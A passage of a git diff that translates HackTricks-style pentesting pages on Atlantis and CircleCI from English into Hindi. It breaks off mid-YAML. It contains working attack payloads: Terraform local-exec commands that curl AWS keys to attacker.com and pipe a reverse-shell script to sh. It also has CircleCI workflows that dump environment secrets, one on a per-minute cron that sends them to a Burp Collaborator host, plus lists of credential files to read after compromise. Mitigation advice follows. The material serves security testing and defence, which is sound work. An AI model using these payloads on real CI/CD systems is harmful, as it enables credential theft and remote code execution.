**ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` -- **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**. - -#### Atlantis plan Secrets Dump - -You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file: +#### Atlantis योजना रहस्यों का डंप +आप **atlantis plan** (`terraform plan`) चलाकर उपयोग किए गए रहस्यों को डंप कर सकते हैं, जैसे कि terraform फ़ाइल में कुछ इस तरह डालकर: ```json output "dotoken" { - value = nonsensitive(var.do_token) +value = nonsensitive(var.do_token) } ``` - #### Atlantis apply RCE - Config modification in new PR -If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis apply` you will be able to RCE inside the Atlantis server**. +यदि आपके पास एक रिपॉजिटरी पर लिखने की अनुमति है, तो आप उस पर एक नई शाखा बना सकते हैं और एक PR उत्पन्न कर सकते हैं। यदि आप **`atlantis apply` निष्पादित कर सकते हैं, तो आप Atlantis सर्वर के अंदर RCE प्राप्त कर सकते हैं**। -However, you will usually need to bypass some protections: +हालांकि, आपको आमतौर पर कुछ सुरक्षा उपायों को बायपास करने की आवश्यकता होगी: -- **Mergeable**: If this protection is set in Atlantis, you can only run **`atlantis apply` if the PR is mergeable** (which means that the branch protection need to be bypassed). - - Check potential [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) -- **Approved**: If this protection is set in Atlantis, some **other user must approve the PR** before you can run `atlantis apply` - - By default you can abuse the [**Gitbot token to bypass this protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) - -Running **`terraform apply` on a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ -You just need to make sure some payload like the following ones ends in the `main.tf` file: +- **Mergeable**: यदि यह सुरक्षा Atlantis में सेट है, तो आप केवल **`atlantis apply` चला सकते हैं यदि PR मर्ज करने योग्य है** (जिसका मतलब है कि शाखा सुरक्षा को बायपास करना होगा)। +- संभावित [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) की जांच करें +- **Approved**: यदि यह सुरक्षा Atlantis में सेट है, तो कुछ **अन्य उपयोगकर्ता को PR को स्वीकृत करना होगा** इससे पहले कि आप `atlantis apply` चला सकें +- डिफ़ॉल्ट रूप से, आप [**Gitbot टोकन का दुरुपयोग करके इस सुरक्षा को बायपास कर सकते हैं**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) +एक दुर्भावनापूर्ण Terraform फ़ाइल पर **`terraform apply` चलाना** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**।**\ +आपको बस यह सुनिश्चित करने की आवश्यकता है कि निम्नलिखित जैसे कुछ पेलोड `main.tf` फ़ाइल में समाप्त हो जाएं: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { - provisioner "local-exec" { - command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" - } +provisioner "local-exec" { +command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" +} } // Payload 2 to get a rev shell resource "null_resource" "rev_shell" { - provisioner "local-exec" { - command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" - } +provisioner "local-exec" { +command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" +} } ``` +**पिछली तकनीक से सुझावों का पालन करें** ताकि इस हमले को **छिपे हुए तरीके** से किया जा सके। -Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way**. - -#### Terraform Param Injection - -When running `atlantis plan` or `atlantis apply` terraform is being run under-needs, you can pass commands to terraform from atlantis commenting something like: +#### Terraform पैरामीटर इंजेक्शन +जब `atlantis plan` या `atlantis apply` चलाया जाता है, तो terraform नीचे चल रहा होता है, आप atlantis से terraform को कुछ इस तरह से कमांड पास कर सकते हैं: ```bash atlantis plan -- atlantis plan -- -h #Get terraform plan help @@ -256,18 +243,17 @@ atlantis plan -- -h #Get terraform plan help atlantis apply -- atlantis apply -- -h #Get terraform apply help ``` +कुछ चीजें जो आप पास कर सकते हैं वे env वेरिएबल्स हैं जो कुछ सुरक्षा उपायों को बायपास करने में सहायक हो सकते हैं। [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) में terraform env vars की जांच करें। -Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) +#### कस्टम वर्कफ़्लो -#### Custom Workflow - -Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\ -This possibility was mentioned in a previous section: +`atlantis.yaml` फ़ाइल में निर्दिष्ट **दुष्ट कस्टम बिल्ड कमांड** चलाना। Atlantis पुल अनुरोध शाखा से `atlantis.yaml` फ़ाइल का उपयोग करता है, **नहीं** `master` की।\ +इस संभावना का उल्लेख पिछले अनुभाग में किया गया था: > [!CAUTION] -> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used. +> यदि [**सर्वर साइड कॉन्फ़िग**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) ध्वज `allow_custom_workflows` **True** पर सेट है, तो वर्कफ़्लो को प्रत्येक रेपो की **`atlantis.yaml`** फ़ाइल में **निर्दिष्ट** किया जा सकता है। यह भी संभावित रूप से आवश्यक है कि **`allowed_overrides`** **`workflow`** को **ओवरराइड करने** के लिए भी निर्दिष्ट करता है जो उपयोग किया जाने वाला है। > -> This will basically give **RCE in the Atlantis server to any user that can access that repo**. +> यह मूल रूप से **Atlantis सर्वर में किसी भी उपयोगकर्ता को RCE देगा जो उस रेपो तक पहुँच सकता है**। > > ```yaml > # atlantis.yaml @@ -286,99 +272,97 @@ This possibility was mentioned in a previous section: > - run: my custom apply command > ``` -#### Bypass plan/apply protections - -If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**. +#### योजना/लागू सुरक्षा उपायों को बायपास करना +यदि [**सर्वर साइड कॉन्फ़िग**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) ध्वज `allowed_overrides` _has_ `apply_requirements` कॉन्फ़िगर किया गया है, तो एक रेपो के लिए **योजना/लागू सुरक्षा उपायों को बायपास करने के लिए संशोधित करना** संभव है। ```yaml repos: - - id: /.*/ - apply_requirements: [] +- id: /.*/ +apply_requirements: [] ``` - #### PR Hijacking -If someone sends **`atlantis plan/apply` comments on your valid pull requests,** it will cause terraform to run when you don't want it to. +यदि कोई आपके मान्य पुल अनुरोधों पर **`atlantis plan/apply` टिप्पणियाँ भेजता है,** तो यह terraform को चलाने का कारण बनेगा जब आप नहीं चाहते। -Moreover, if you don't have configured in the **branch protection** to ask to **reevaluate** every PR when a **new commit is pushed** to it, someone could **write malicious configs** (check previous scenarios) in the terraform config, run `atlantis plan/apply` and gain RCE. +इसके अलावा, यदि आपने **branch protection** में यह कॉन्फ़िगर नहीं किया है कि जब एक **नया कमिट इसे धकेला जाता है** तो हर PR को **फिर से मूल्यांकन** करने के लिए कहा जाए, तो कोई **दुष्ट कॉन्फ़िग्स** (पिछले परिदृश्यों की जांच करें) terraform कॉन्फ़िग में लिख सकता है, `atlantis plan/apply` चला सकता है और RCE प्राप्त कर सकता है। -This is the **setting** in Github branch protections: +यह Github branch protections में **सेटिंग** है: ![](<../images/image (216).png>) #### Webhook Secret -If you manage to **steal the webhook secret** used or if there **isn't any webhook secret** being used, you could **call the Atlantis webhook** and **invoke atlatis commands** directly. +यदि आप **webhook secret** चुराने में सफल होते हैं या यदि कोई **webhook secret** उपयोग नहीं हो रहा है, तो आप **Atlantis webhook** को **call** कर सकते हैं और **atlatis commands** सीधे **invoke** कर सकते हैं। #### Bitbucket -Bitbucket Cloud does **not support webhook secrets**. This could allow attackers to **spoof requests from Bitbucket**. Ensure you are allowing only Bitbucket IPs. +Bitbucket Cloud **webhook secrets** का समर्थन नहीं करता है। यह हमलावरों को **Bitbucket से अनुरोधों की नकल** करने की अनुमति दे सकता है। सुनिश्चित करें कि आप केवल Bitbucket IPs की अनुमति दे रहे हैं। -- This means that an **attacker** could make **fake requests to Atlantis** that look like they're coming from Bitbucket. -- If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos. -- To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses). +- इसका मतलब है कि एक **हमलावर** **Atlantis** के लिए **फर्जी अनुरोध** कर सकता है जो ऐसा दिखता है जैसे वे Bitbucket से आ रहे हैं। +- यदि आप `--repo-allowlist` निर्दिष्ट कर रहे हैं तो वे केवल उन रिपोजिटरी से संबंधित फर्जी अनुरोध कर सकते हैं, इसलिए वे जो सबसे अधिक नुकसान कर सकते हैं वह आपके अपने रिपोजिटरी पर plan/apply करना होगा। +- इससे बचने के लिए [Bitbucket के IP पते](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) को allowlist करें (Outbound IPv4 addresses देखें)। ### Post-Exploitation -If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read: +यदि आप सर्वर तक पहुँचने में सफल हो गए हैं या कम से कम आपके पास LFI है, तो कुछ दिलचस्प चीजें हैं जिन्हें आपको पढ़ने का प्रयास करना चाहिए: -- `/home/atlantis/.git-credentials` Contains vcs access credentials -- `/atlantis-data/atlantis.db` Contains vcs access credentials with more info +- `/home/atlantis/.git-credentials` VCS एक्सेस क्रेडेंशियल्स शामिल हैं +- `/atlantis-data/atlantis.db` अधिक जानकारी के साथ VCS एक्सेस क्रेडेंशियल्स शामिल हैं - `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Terraform stated file - - Example: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate -- `/proc/1/environ` Env variables -- `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data) +- उदाहरण: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate +- `/proc/1/environ` Env वेरिएबल्स +- `/proc/[2-20]/cmdline` `atlantis server` की Cmd line (संवेदनशील डेटा हो सकता है) ### Mitigations #### Don't Use On Public Repos -Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings. +क्योंकि कोई भी सार्वजनिक पुल अनुरोधों पर टिप्पणी कर सकता है, सभी सुरक्षा उपायों के साथ भी, सार्वजनिक रिपोजिटरी पर उचित सुरक्षा सेटिंग्स के बिना Atlantis चलाना अभी भी खतरनाक है। #### Don't Use `--allow-fork-prs` -If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo. +यदि आप एक सार्वजनिक रिपोजिटरी पर चल रहे हैं (जो अनुशंसित नहीं है, ऊपर देखें) तो आपको `--allow-fork-prs` सेट नहीं करना चाहिए (डिफ़ॉल्ट रूप से false) क्योंकि कोई भी अपने फोर्क से आपके रिपोजिटरी के लिए एक पुल अनुरोध खोल सकता है। #### `--repo-allowlist` -Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example: +Atlantis को आपको `--repo-allowlist` ध्वज के माध्यम से स्वीकार किए जाने वाले रिपोजिटरी की एक allowlist निर्दिष्ट करने की आवश्यकता है। उदाहरण के लिए: -- Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests` -- Your whole organization: `--repo-allowlist=github.com/runatlantis/*` -- Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*` -- All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret. +- विशिष्ट रिपोजिटरी: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests` +- आपका पूरा संगठन: `--repo-allowlist=github.com/runatlantis/*` +- आपके GitHub Enterprise इंस्टॉलेशन में हर रिपोजिटरी: `--repo-allowlist=github.yourcompany.com/*` +- सभी रिपोजिटरी: `--repo-allowlist=*`। जब आप एक सुरक्षित नेटवर्क में होते हैं तो यह उपयोगी है लेकिन बिना webhook secret सेट किए खतरनाक है। -This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details. +यह ध्वज सुनिश्चित करता है कि आपकी Atlantis इंस्टॉलेशन उन रिपोजिटरी के साथ उपयोग नहीं की जा रही है जिन्हें आप नियंत्रित नहीं करते। अधिक विवरण के लिए `atlantis server --help` देखें। #### Protect Terraform Planning -If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) or by specifying a malicious provider. This code could then exfiltrate your credentials. +यदि हमलावर दुष्ट Terraform कोड के साथ पुल अनुरोध प्रस्तुत कर रहे हैं तो यह आपके खतरे के मॉडल में है, तो आपको यह जानना चाहिए कि `terraform apply` अनुमतियाँ पर्याप्त नहीं हैं। यह [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) का उपयोग करके या एक दुष्ट प्रदाता निर्दिष्ट करके `terraform plan` में दुष्ट कोड चलाना संभव है। यह कोड फिर आपके क्रेडेंशियल्स को एक्सफिल्ट्रेट कर सकता है। -To prevent this, you could: +इससे बचने के लिए, आप कर सकते हैं: -1. Bake providers into the Atlantis image or host and deny egress in production. -2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry. -3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here. +1. प्रदाताओं को Atlantis छवि में बेक करें या होस्ट करें और उत्पादन में ईग्रेस को अस्वीकार करें। +2. आंतरिक रूप से प्रदाता रजिस्ट्री प्रोटोकॉल लागू करें और सार्वजनिक ईग्रेस को अस्वीकार करें, इस तरह आप नियंत्रित करते हैं कि किसके पास रजिस्ट्री में लिखने का अधिकार है। +3. अपने [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html) के `plan` चरण को संशोधित करें ताकि अवैध प्रदाताओं या डेटा स्रोतों या अनुमति न दिए गए उपयोगकर्ताओं से PRs के उपयोग के खिलाफ मान्य किया जा सके। आप इस बिंदु पर अतिरिक्त मान्यता भी जोड़ सकते हैं, जैसे PR पर "thumbs-up" की आवश्यकता करना इससे पहले कि `plan` जारी रखने की अनुमति दी जाए। Conftest यहाँ उपयोगी हो सकता है। #### Webhook Secrets -Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab). +Atlantis को Webhook secrets के साथ चलाना चाहिए जो `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` पर्यावरण वेरिएबल के माध्यम से सेट किए गए हैं। `--repo-allowlist` ध्वज सेट होने के बावजूद, बिना webhook secret के, हमलावर Atlantis को एक ऐसे रिपोजिटरी के रूप में अनुरोध कर सकते हैं जो allowlisted है। Webhook secrets सुनिश्चित करते हैं कि webhook अनुरोध वास्तव में आपके VCS प्रदाता (GitHub या GitLab) से आ रहे हैं। -If you are using Azure DevOps, instead of webhook secrets add a basic username and password. +यदि आप Azure DevOps का उपयोग कर रहे हैं, तो webhook secrets के बजाय एक बुनियादी उपयोगकर्ता नाम और पासवर्ड जोड़ें। #### Azure DevOps Basic Authentication -Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location. +Azure DevOps सभी webhook घटनाओं में एक बुनियादी प्रमाणीकरण हेडर भेजने का समर्थन करता है। इसके लिए आपके webhook स्थान के लिए HTTPS URL का उपयोग करना आवश्यक है। #### SSL/HTTPS -If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags. +यदि आप webhook secrets का उपयोग कर रहे हैं लेकिन आपका ट्रैफ़िक HTTP पर है, तो webhook secrets चुराए जा सकते हैं। `--ssl-cert-file` और `--ssl-key-file` ध्वजों का उपयोग करके SSL/HTTPS सक्षम करें। #### Enable Authentication on Atlantis Web Server -It is very recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and setup a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags. +वेब सेवा में प्रमाणीकरण सक्षम करना अत्यधिक अनुशंसित है। `--web-basic-auth=true` का उपयोग करके BasicAuth सक्षम करें और `--web-username=yourUsername` और `--web-password=yourPassword` ध्वजों का उपयोग करके एक उपयोगकर्ता नाम और पासवर्ड सेट करें। -You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`. +आप इनको पर्यावरण वेरिएबल के रूप में भी पास कर सकते हैं `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` और `ATLANTIS_WEB_PASSWORD=yourPassword`। ### References @@ -386,7 +370,3 @@ You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` - [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html) {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md index 8b8a1fea1..a38da88a0 100644 --- a/src/pentesting-ci-cd/circleci-security.md +++ b/src/pentesting-ci-cd/circleci-security.md @@ -1,259 +1,235 @@ -# CircleCI Security +# CircleCI सुरक्षा {{#include ../banners/hacktricks-training.md}} -### Basic Information +### बुनियादी जानकारी -[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is a Continuos Integration platform where you can **define templates** indicating what you want it to do with some code and when to do it. This way you can **automate testing** or **deployments** directly **from your repo master branch** for example. +[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) एक निरंतर एकीकरण प्लेटफार्म है जहाँ आप **टेम्पलेट्स** परिभाषित कर सकते हैं जो यह बताती हैं कि आप इसे कुछ कोड के साथ क्या करना चाहते हैं और कब करना चाहते हैं। इस तरह आप **परीक्षण** या **तैनाती** को सीधे **अपने रेपो के मास्टर ब्रांच** से स्वचालित कर सकते हैं, उदाहरण के लिए। -### Permissions +### अनुमतियाँ -**CircleCI** **inherits the permissions** from github and bitbucket related to the **account** that logs in.\ -In my testing I checked that as long as you have **write permissions over the repo in github**, you are going to be able to **manage its project settings in CircleCI** (set new ssh keys, get project api keys, create new branches with new CircleCI configs...). +**CircleCI** **अनुमतियाँ विरासत में लेता है** github और bitbucket से संबंधित **खाते** से जो लॉग इन करता है।\ +मेरी परीक्षण में मैंने यह जांचा कि जब तक आपके पास **github में रेपो पर लिखने की अनुमतियाँ हैं**, आप **CircleCI में इसके प्रोजेक्ट सेटिंग्स को प्रबंधित करने में सक्षम होंगे** (नए ssh कुंजी सेट करें, प्रोजेक्ट api कुंजी प्राप्त करें, नए CircleCI कॉन्फ़िग्स के साथ नए ब्रांच बनाएं...)। -However, you need to be a a **repo admin** in order to **convert the repo into a CircleCI project**. +हालांकि, आपको **CircleCI प्रोजेक्ट में रेपो को परिवर्तित करने** के लिए **रेपो प्रशासक** होना आवश्यक है। -### Env Variables & Secrets +### पर्यावरण चर और रहस्य -According to [**the docs**](https://circleci.com/docs/2.0/env-vars/) there are different ways to **load values in environment variables** inside a workflow. +[**दस्तावेज़ों**](https://circleci.com/docs/2.0/env-vars/) के अनुसार, कार्यप्रवाह के भीतर **पर्यावरण चर में मान लोड करने** के विभिन्न तरीके हैं। -#### Built-in env variables +#### अंतर्निहित पर्यावरण चर -Every container run by CircleCI will always have [**specific env vars defined in the documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) like `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` or `CIRCLE_USERNAME`. +CircleCI द्वारा चलाए गए प्रत्येक कंटेनर में हमेशा [**दस्तावेज़ में परिभाषित विशिष्ट पर्यावरण चर**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) होंगे जैसे `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` या `CIRCLE_USERNAME`। -#### Clear text - -You can declare them in clear text inside a **command**: +#### स्पष्ट पाठ +आप उन्हें **कमांड** के भीतर स्पष्ट पाठ में घोषित कर सकते हैं: ```yaml - run: - name: "set and echo" - command: | - SECRET="A secret" - echo $SECRET +name: "set and echo" +command: | +SECRET="A secret" +echo $SECRET ``` - -You can declare them in clear text inside the **run environment**: - +आप उन्हें **run environment** के अंदर स्पष्ट पाठ में घोषित कर सकते हैं: ```yaml - run: - name: "set and echo" - command: echo $SECRET - environment: - SECRET: A secret +name: "set and echo" +command: echo $SECRET +environment: +SECRET: A secret ``` - -You can declare them in clear text inside the **build-job environment**: - +आप उन्हें **build-job environment** के अंदर स्पष्ट पाठ में घोषित कर सकते हैं: ```yaml jobs: - build-job: - docker: - - image: cimg/base:2020.01 - environment: - SECRET: A secret +build-job: +docker: +- image: cimg/base:2020.01 +environment: +SECRET: A secret ``` - -You can declare them in clear text inside the **environment of a container**: - +आप उन्हें **कंटेनर के वातावरण** के अंदर स्पष्ट पाठ में घोषित कर सकते हैं: ```yaml jobs: - build-job: - docker: - - image: cimg/base:2020.01 - environment: - SECRET: A secret +build-job: +docker: +- image: cimg/base:2020.01 +environment: +SECRET: A secret ``` +#### प्रोजेक्ट रहस्य -#### Project Secrets - -These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\ -You can see them **declared in** _https://app.circleci.com/settings/project/github/\/\/environment-variables_ +ये **रहस्य** केवल **प्रोजेक्ट** द्वारा (किसी भी **शाखा** द्वारा) **पहुँचने योग्य** होंगे।\ +आप इन्हें _https://app.circleci.com/settings/project/github/\/\/environment-variables_ में **घोषित** होते हुए देख सकते हैं। ![](<../images/image (129).png>) > [!CAUTION] -> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. +> "**आयात वेरिएबल्स**" कार्यक्षमता **अन्य प्रोजेक्ट्स** से इस प्रोजेक्ट में **वेरिएबल्स आयात** करने की अनुमति देती है। -#### Context Secrets +#### संदर्भ रहस्य -These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here: +ये रहस्य **संगठन स्तर** पर हैं। **डिफ़ॉल्ट रूप से कोई भी रेपो** यहाँ संग्रहीत **किसी भी रहस्य** तक पहुँचने में सक्षम होगा: ![](<../images/image (123).png>) > [!TIP] -> However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\ -> This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people. +> हालाँकि, ध्यान दें कि एक अलग समूह (सभी सदस्यों के बजाय) को **विशिष्ट लोगों को रहस्यों तक पहुँच देने के लिए चुना जा सकता है**।\ +> यह वर्तमान में रहस्यों की **सुरक्षा बढ़ाने** के लिए सबसे अच्छे तरीकों में से एक है, ताकि सभी को उन्हें पहुँचने की अनुमति न हो बल्कि केवल कुछ लोगों को। -### Attacks +### हमले -#### Search Clear Text Secrets +#### स्पष्ट पाठ रहस्यों की खोज -If you have **access to the VCS** (like github) check the file `.circleci/config.yml` of **each repo on each branch** and **search** for potential **clear text secrets** stored in there. +यदि आपके पास **VCS** (जैसे github) तक **पहुँच** है, तो **प्रत्येक शाखा पर प्रत्येक रेपो** की फ़ाइल `.circleci/config.yml` की जाँच करें और वहाँ संग्रहीत संभावित **स्पष्ट पाठ रहस्यों** के लिए **खोजें**। -#### Secret Env Vars & Context enumeration +#### रहस्य पर्यावरण वेरिएबल्स और संदर्भ गणना -Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\/contexts_. +कोड की जाँच करते समय आप प्रत्येक `.circleci/config.yml` फ़ाइल में **सभी रहस्य नाम** पा सकते हैं जो **उपयोग** किए जा रहे हैं। आप उन फ़ाइलों से **संदर्भ नाम** भी प्राप्त कर सकते हैं या उन्हें वेब कंसोल में देख सकते हैं: _https://app.circleci.com/settings/organization/github/\/contexts_। -#### Exfiltrate Project secrets +#### प्रोजेक्ट रहस्यों को निकालना > [!WARNING] -> In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_). +> **सभी** प्रोजेक्ट और संदर्भ **रहस्यों** को **निकालने** के लिए आपको **सिर्फ 1 रेपो** में **लिखने** की पहुँच होनी चाहिए (_और आपके खाते को संदर्भों तक पहुँच होनी चाहिए लेकिन डिफ़ॉल्ट रूप से सभी को हर संदर्भ तक पहुँच मिलती है_)। > [!CAUTION] -> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**. - -All the project secrets always are set in the env of the jobs, so just calling env and obfuscating it in base64 will exfiltrate the secrets in the **workflows web log console**: +> "**आयात वेरिएबल्स**" कार्यक्षमता **अन्य प्रोजेक्ट्स** से इस प्रोजेक्ट में **वेरिएबल्स आयात** करने की अनुमति देती है। इसलिए, एक हमलावर **सभी रेपो से सभी प्रोजेक्ट वेरिएबल्स आयात** कर सकता है और फिर **सभी को एक साथ निकाल सकता है**। +सभी प्रोजेक्ट रहस्य हमेशा नौकरियों के वातावरण में सेट होते हैं, इसलिए बस env को कॉल करना और इसे base64 में छिपाना रहस्यों को **कार्यप्रवाह वेब लॉग कंसोल** में निकाल देगा: ```yaml version: 2.1 jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - run: - name: "Exfil env" - command: "env | base64" +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- run: +name: "Exfil env" +command: "env | base64" workflows: - exfil-env-workflow: - jobs: - - exfil-env +exfil-env-workflow: +jobs: +- exfil-env ``` - -If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **create a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**: - +यदि आपके पास **वेब कंसोल तक पहुंच नहीं है** लेकिन आपके पास **रेपो तक पहुंच है** और आप जानते हैं कि CircleCI का उपयोग किया जा रहा है, तो आप बस **एक वर्कफ़्लो बना सकते हैं** जो **हर मिनट ट्रिगर होता है** और जो **गुप्त जानकारी को एक बाहरी पते पर भेजता है**: ```yaml version: 2.1 jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - run: - name: "Exfil env" - command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- run: +name: "Exfil env" +command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" # I filter by the repo branch where this config.yaml file is located: circleci-project-setup workflows: - exfil-env-workflow: - triggers: - - schedule: - cron: "* * * * *" - filters: - branches: - only: - - circleci-project-setup - jobs: - - exfil-env +exfil-env-workflow: +triggers: +- schedule: +cron: "* * * * *" +filters: +branches: +only: +- circleci-project-setup +jobs: +- exfil-env ``` - #### Exfiltrate Context Secrets -You need to **specify the context name** (this will also exfiltrate the project secrets): - +आपको **संदर्भ नाम निर्दिष्ट करना होगा** (यह परियोजना के रहस्यों को भी बाहर निकालेगा): ```yaml version: 2.1 jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - run: - name: "Exfil env" - command: "env | base64" +exfil-env: +docker: +- image: cimg/base:stable +steps: +- checkout +- run: +name: "Exfil env" +command: "env | base64" workflows: - exfil-env-workflow: - jobs: - - exfil-env: - context: Test-Context +exfil-env-workflow: +jobs: +- exfil-env: +context: Test-Context ``` - -If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **modify a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**: - +यदि आपके पास **वेब कंसोल तक पहुंच नहीं है** लेकिन आपके पास **रेपो तक पहुंच है** और आप जानते हैं कि CircleCI का उपयोग किया जा रहा है, तो आप बस **एक वर्कफ़्लो को संशोधित कर सकते हैं** जो **हर मिनट ट्रिगर होता है** और जो **गुप्त जानकारी को एक बाहरी पते पर भेजता है**: ```yaml version: 2.1 jobs: - exfil-env: - docker: - - image: cimg/base:stable - steps: - - checkout - - run: - name: "Exfil env" - command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`" +exfil-env: 